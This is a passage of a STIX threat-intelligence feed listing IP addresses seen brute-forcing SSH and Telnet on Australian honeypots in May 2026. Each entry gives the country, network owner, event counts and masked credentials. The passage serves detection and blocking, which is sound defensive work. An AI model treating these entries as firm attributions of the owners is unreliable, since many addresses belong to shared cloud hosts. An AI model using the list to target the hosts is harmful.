      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): h****p. Passwords observed (masked): *.",
      "id": "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.187.147.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--b959ff68-460c-4f83-ab89-0d70a4bccdc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.117.14.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e6673fcf-523b-44c2-8c1a-dd484fc27c9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s****n. Passwords observed (masked): *.",
      "id": "indicator--c307b371-5e50-45ef-bafd-dffb29987687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.243.208.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 48728. Organisation(s): Vodafone Qatar P.Q.S.C.",
      "id": "indicator--2ad7e311-60c2-4af4-877c-8c727a0d7528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.70.99.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 209240. Organisation(s): ISA.NET Sh.p.k..",
      "id": "indicator--e548c519-be8b-48c5-b9a8-59ca05916323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.21.70.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 63526. Organisation(s): Systems Solutions & development Technologies Limited.",
      "id": "indicator--4674c0fe-8baf-4b40-86bc-4fd7f3aaf989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.125.223.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--aa6c60d4-bce1-477b-8d96-4b2648077210",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.111.49.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134238. Organisation(s): CHINANET Jiangx province IDC network.",
      "id": "indicator--26807956-4197-4d3f-bccb-bc51c4e43323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.63.163.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--759d581a-4d43-4188-88b7-5d46519f338d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.158.137.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--2b5284ea-6666-493f-96f4-30826872b00c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.157.34.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--92b1376a-9acf-45df-8d19-c0e22d575810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.123.128.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--215f857d-da9c-4b30-a590-c776e63b4044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--03ce40fd-c195-4b5b-8bfb-259d992bae22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.157.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 216127. Organisation(s): International Hosting Company Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--7d59474c-258c-4474-99d3-a17d92a283bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.251.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1f99b930-d033-41bf-a5c8-a675a0d6d689",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.140.184.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): f*****r. Passwords observed (masked): 6****1.",
      "id": "indicator--7242e871-04e0-47f0-939f-478d5ed305a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 274032. Organisation(s): SERVICIOS FEMAROCA TV SOCIEDAD ANONIMA.",
      "id": "indicator--ca5d5b09-b64c-4d1a-8877-62abbd78ba6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.130.162.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--f16e4fe6-7f7e-4090-bbbf-0d3dda9d9f4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.36.50.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--2236030b-845e-4520-8371-41ef60133a5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.13.50.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--749b43d4-7278-4a13-8140-723b301fb7ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.215.32.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:15:10.000Z",
      "valid_until": "2026-06-07T12:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138866. Organisation(s): PT Mitra Media Data.",
      "id": "indicator--4859829a-af24-4e02-a61d-53ba7a73fb6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.140.131.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 558. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--1d7329a6-2318-4994-aa78-cff1f419de7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.127.79.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): 0****5.",
      "id": "indicator--8a0f85f6-15e9-4e45-84aa-e4a4ab9acfea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.123.94.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre.",
      "id": "indicator--3151fcd9-3b50-407e-9d59-1abe8a0d98bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.228.168.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--5ed45018-30f1-4f0f-8739-ca1804806a95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.47.10.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--1dfcfff8-5f97-4898-bfa6-64cd3d33dbcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.48.241.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 397778. Organisation(s): Beanfield Technologies Inc..",
      "id": "indicator--55693c3e-4402-4be9-95dc-d0d4d4a37676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.23.115.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--6d4b8030-fcd2-4d6c-9668-aec51b08dc93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.37.246.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:15:10.000Z",
      "valid_until": "2026-06-07T13:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--261ff233-2228-4f12-b526-cc7ee9ee2c9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.71.143.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 215305. Organisation(s): Mastersoft S.R.L.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--ab2ceae9-18bc-46de-b506-549810e9fb52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.119.18.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 139538. Organisation(s): MOVEX DIGITAL TECHNOLOGY PRIVATE LIMITED.",
      "id": "indicator--a66eedd1-c539-4755-867e-9d0f1e3cd9c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.170.158.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
